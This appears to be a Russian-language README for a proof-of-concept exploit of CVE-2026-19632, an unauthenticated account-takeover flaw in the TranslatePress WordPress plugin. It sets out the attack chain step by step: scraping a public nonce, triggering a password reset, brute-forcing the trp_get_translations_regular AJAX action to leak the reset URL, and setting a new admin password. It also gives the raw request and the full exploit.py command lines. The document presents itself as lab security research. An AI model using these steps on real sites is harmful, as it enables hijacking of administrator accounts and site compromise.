
Однодневный proof-of-concept эксплойт для CVE-2026-19632, критической уязвимости неаутентифицированного захвата учётной записи в плагине TranslatePress для WordPress, демонстрирующий раскрытие ссылки сброса пароля и захват учётной записи администратора.
CVE: CVE-2026-19632 | CVSS: 9.8 (Critical)
Неаутентифицированный захват учётной записи через плагин TranslatePress для WordPress. Время от публикации CVE до рабочего PoC первого дня: 5 часов, 9 минут, 40 секунд
Вплоть до версии 3.3.1 включительно; проблема исправлена в версии 3.3.2.
TranslatePress может переводить исходящие письма WordPress и сохранять их переведённые строки в своей базе данных.
TranslatePress также сохраняет письма сброса пароля с полной ссылкой сброса, включая секретный ключ, непосредственно в таблицу переводов.
Неаутентифицированный злоумышленник может затем запросить эти строки через публичное AJAX-действие TranslatePress:
Запуск сброса пароля
-> письмо сброса переводится
-> URL сброса сохраняется в словаре вторичного языка
-> публичная AJAX-конечная точка возвращает строку
-> используйте URL для установки нового пароля администратора
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
Цепочка эксплуатации требует:
Когда WordPress отправляет письмо сброса, TranslatePress переключается на предпочитаемый язык получателя и пропускает письмо через свой конвейер перевода. Уязвимая версия сохраняет строки, встречающиеся в этом процессе, включая URL сброса.
TranslatePress также регистрирует trp_get_translations_regular для неаутентифицированных посетителей. Его nonce раскрывается на публичной переведённой странице, а запрос принимает выбранные злоумышленником идентификаторы строк словаря. Перебор этих идентификаторов раскрывает сохранённое письмо сброса и его рабочую ссылку сброса.
| Шаг | Действие |
|---|---|
| 1 | Загрузите /he/cve-lab-seed/ и извлеките публичный AJAX-nonce TranslatePress. |
| 2 | Отправьте форму восстановления пароля WordPress для labadmin. |
| 3 | TranslatePress обрабатывает письмо сброса, используя ивритскую локаль администратора. |
| 4 | Переберите строки словаря через trp_get_translations_regular. |
| 5 | Извлеките самый новый подходящий URL сброса wp-login.php?action=rp. |
| 6 | Откройте URL и отправьте новый пароль. |
| 7 | Выполните новый вход и получите как cookie входа в WordPress, так и доступ к /wp-admin/. |
Соответствующий неаутентифицированный запрос имеет следующий вид:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
nonce и полезный идентификатор строки динамические, поэтому exploit.py обнаруживает их, а не зашивает в код.
Минимальное использование:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
Утечка URL сброса без изменения пароля:
python .\exploit.py --stop-after leak
Только запуск письма сброса пароля:
python .\exploit.py --stop-after reset
| Параметр | По умолчанию | Назначение |
|---|---|---|
--url | http://127.0.0.1:19632 | Базовый URL WordPress. |
--username | labadmin | Учётная запись, для которой запрашивается сброс. |
--language | he_IL | Словарь вторичного языка, запрашиваемый PoC. |
--public-path | /he/cve-lab-seed/ | Публичная переведённая страница, используемая для получения AJAX-nonce. |
--new-password | Нет | Новый пароль; обязателен при использовании --stop-after takeover. |
--start-id | 1 | Первый запрашиваемый идентификатор строки словаря. |
--max-id | 500 | Последний запрашиваемый идентификатор строки словаря. Увеличьте, если URL сброса не найден. |
--batch-size | 100 | Идентификаторы словаря, запрашиваемые за один AJAX-вызов. Допустимый диапазон: 1-500. |
--timeout | 15 | HTTP-таймаут в секундах. |
--settle-seconds | 1 | Задержка после запроса письма сброса. |
--stop-after | takeover | Остановиться после reset, leak или полного takeover. |
Этот проект предназначен исключительно для авторизованных исследований в области безопасности, обучения и тестирования в изолированных лабораторных средах.
Эта уязвимость была первоначально обнаружена и раскрыта momopon1415.
Не используйте это программное обеспечение против систем, сетей или данных без явного разрешения владельца. Вы несёте единоличную ответственность за соблюдение всех применимых законов и за любые последствия, возникшие в результате использования этого проекта.
Автор, YonLiud, предоставляет этот проект «как есть», без каких-либо гарантий, и не несёт ответственности за ущерб, потерю данных, нарушение работы сервисов, несанкционированный доступ или иное неправомерное использование, вызванное этим программным обеспечением или производными работами.
Используя этот проект, вы подтверждаете и принимаете эти условия.